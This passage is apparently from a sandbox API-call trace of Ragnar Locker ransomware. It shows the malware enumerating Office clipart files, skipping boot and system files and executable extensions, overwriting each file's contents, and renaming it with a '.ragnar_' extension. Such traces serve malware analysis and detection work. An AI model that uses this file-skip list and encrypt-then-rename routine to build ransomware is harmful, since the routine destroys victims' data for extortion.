GetProcessHeap () returned 0x580000 [0092.288] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.288] CloseHandle (hObject=0xf4) returned 1 [0092.288] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF" [0092.288] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF.ragnar_FD7BD9FC" [0092.288] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02439_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02439_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.289] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a54, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02464_.WMF", cAlternateFileName="")) returned 1 [0092.289] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.289] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02464_.WMF" | out: lpString1="SO02464_.WMF") returned="SO02464_.WMF" [0092.289] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF") returned=".WMF" [0092.289] lstrcmpiW (lpString1="SO02464_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.289] lstrcmpiW (lpString1="SO02464_.WMF", lpString2="autorun.inf") returned 1 [0092.289] lstrcmpiW (lpString1="SO02464_.WMF", lpString2="boot.ini") returned 1 [0092.289] lstrcmpiW (lpString1="SO02464_.WMF", lpString2="bootfont.bin") returned 1 [0092.289] lstrcmpiW (lpString1="SO02464_.WMF", lpString2="bootsect.bak") returned 1 [0092.289] lstrcmpiW (lpString1="SO02464_.WMF", lpString2="bootmgr") returned 1 [0092.289] lstrcmpiW (lpString1="SO02464_.WMF", lpString2="bootmgr.efi") returned 1 [0092.289] lstrcmpiW (lpString1="SO02464_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.289] lstrcmpiW (lpString1="SO02464_.WMF", lpString2="desktop.ini") returned 1 [0092.289] lstrcmpiW (lpString1="SO02464_.WMF", lpString2="iconcache.db") returned 1 [0092.289] lstrcmpiW (lpString1="SO02464_.WMF", lpString2="ntldr") returned 1 [0092.289] lstrcmpiW (lpString1="SO02464_.WMF", lpString2="ntuser.dat") returned 1 [0092.289] lstrcmpiW (lpString1="SO02464_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.289] lstrcmpiW (lpString1="SO02464_.WMF", lpString2="ntuser.ini") returned 1 [0092.289] lstrcmpiW (lpString1="SO02464_.WMF", lpString2="thumbs.db") returned -1 [0092.289] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.290] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.290] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.290] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.290] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.290] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.290] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.290] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf")) returned 0x20 [0092.290] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.290] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6740) returned 1 [0092.290] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1a4b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.290] GetProcessHeap () returned 0x580000 [0092.290] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.290] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.292] VirtualAlloc (lpAddress=0x0, dwSize=0x1a54, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.292] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.292] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.292] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1a54, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1a54, lpOverlapped=0x0) returned 1 [0092.293] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.293] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a54, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.293] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1a54, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1a54, lpOverlapped=0x0) returned 1 [0092.293] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a54, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.293] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.293] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1a54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.293] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.294] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.294] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.294] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.294] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.294] GetProcessHeap () returned 0x580000 [0092.294] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.294] CloseHandle (hObject=0xf4) returned 1 [0092.294] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF" [0092.294] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF.ragnar_FD7BD9FC" [0092.294] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02464_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02464_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.295] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe34c8c00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe34c8c00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02465_.WMF", cAlternateFileName="")) returned 1 [0092.295] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.295] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02465_.WMF" | out: lpString1="SO02465_.WMF") returned="SO02465_.WMF" [0092.295] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF") returned=".WMF" [0092.295] lstrcmpiW (lpString1="SO02465_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.295] lstrcmpiW (lpString1="SO02465_.WMF", lpString2="autorun.inf") returned 1 [0092.295] lstrcmpiW (lpString1="SO02465_.WMF", lpString2="boot.ini") returned 1 [0092.295] lstrcmpiW (lpString1="SO02465_.WMF", lpString2="bootfont.bin") returned 1 [0092.295] lstrcmpiW (lpString1="SO02465_.WMF", lpString2="bootsect.bak") returned 1 [0092.295] lstrcmpiW (lpString1="SO02465_.WMF", lpString2="bootmgr") returned 1 [0092.295] lstrcmpiW (lpString1="SO02465_.WMF", lpString2="bootmgr.efi") returned 1 [0092.295] lstrcmpiW (lpString1="SO02465_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.295] lstrcmpiW (lpString1="SO02465_.WMF", lpString2="desktop.ini") returned 1 [0092.295] lstrcmpiW (lpString1="SO02465_.WMF", lpString2="iconcache.db") returned 1 [0092.295] lstrcmpiW (lpString1="SO02465_.WMF", lpString2="ntldr") returned 1 [0092.295] lstrcmpiW (lpString1="SO02465_.WMF", lpString2="ntuser.dat") returned 1 [0092.295] lstrcmpiW (lpString1="SO02465_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.295] lstrcmpiW (lpString1="SO02465_.WMF", lpString2="ntuser.ini") returned 1 [0092.295] lstrcmpiW (lpString1="SO02465_.WMF", lpString2="thumbs.db") returned -1 [0092.295] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.295] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.295] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.295] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.295] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.295] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.295] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02465_.wmf")) returned 0x20 [0092.296] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02465_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.296] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1396) returned 1 [0092.296] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x56b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.296] GetProcessHeap () returned 0x580000 [0092.296] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.296] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.298] VirtualAlloc (lpAddress=0x0, dwSize=0x574, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.298] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.298] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.298] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x574, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x574, lpOverlapped=0x0) returned 1 [0092.298] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.298] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x574, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.298] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x574, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x574, lpOverlapped=0x0) returned 1 [0092.298] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x574, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.298] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.298] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.299] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.299] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.299] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.299] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.299] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.299] GetProcessHeap () returned 0x580000 [0092.299] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.299] CloseHandle (hObject=0xf4) returned 1 [0092.299] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF" [0092.299] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF.ragnar_FD7BD9FC" [0092.299] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02465_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02465_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02465_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.300] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d37e7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO02578_.WMF", cAlternateFileName="")) returned 1 [0092.300] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.300] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO02578_.WMF" | out: lpString1="SO02578_.WMF") returned="SO02578_.WMF" [0092.300] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF") returned=".WMF" [0092.300] lstrcmpiW (lpString1="SO02578_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.300] lstrcmpiW (lpString1="SO02578_.WMF", lpString2="autorun.inf") returned 1 [0092.300] lstrcmpiW (lpString1="SO02578_.WMF", lpString2="boot.ini") returned 1 [0092.300] lstrcmpiW (lpString1="SO02578_.WMF", lpString2="bootfont.bin") returned 1 [0092.300] lstrcmpiW (lpString1="SO02578_.WMF", lpString2="bootsect.bak") returned 1 [0092.300] lstrcmpiW (lpString1="SO02578_.WMF", lpString2="bootmgr") returned 1 [0092.300] lstrcmpiW (lpString1="SO02578_.WMF", lpString2="bootmgr.efi") returned 1 [0092.300] lstrcmpiW (lpString1="SO02578_.WMF", lpString2="bootmgfw.efi") returned 1 [0092.300] lstrcmpiW (lpString1="SO02578_.WMF", lpString2="desktop.ini") returned 1 [0092.300] lstrcmpiW (lpString1="SO02578_.WMF", lpString2="iconcache.db") returned 1 [0092.300] lstrcmpiW (lpString1="SO02578_.WMF", lpString2="ntldr") returned 1 [0092.300] lstrcmpiW (lpString1="SO02578_.WMF", lpString2="ntuser.dat") returned 1 [0092.300] lstrcmpiW (lpString1="SO02578_.WMF", lpString2="ntuser.dat.log") returned 1 [0092.300] lstrcmpiW (lpString1="SO02578_.WMF", lpString2="ntuser.ini") returned 1 [0092.300] lstrcmpiW (lpString1="SO02578_.WMF", lpString2="thumbs.db") returned -1 [0092.300] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0092.300] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0092.300] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0092.300] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0092.300] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0092.301] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0092.301] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0092.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02578_.wmf")) returned 0x20 [0092.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02578_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.302] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6602) returned 1 [0092.302] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x19c1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.302] GetProcessHeap () returned 0x580000 [0092.302] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.302] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.303] VirtualAlloc (lpAddress=0x0, dwSize=0x19ca, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.303] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.303] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.303] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x19ca, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x19ca, lpOverlapped=0x0) returned 1 [0092.304] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.304] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x19ca, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.304] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x19ca, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x19ca, lpOverlapped=0x0) returned 1 [0092.304] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x19ca, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.304] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.305] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x19ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.305] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.305] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.305] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.305] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.305] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.305] GetProcessHeap () returned 0x580000 [0092.305] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.305] CloseHandle (hObject=0xf4) returned 1 [0092.305] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF" [0092.305] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft 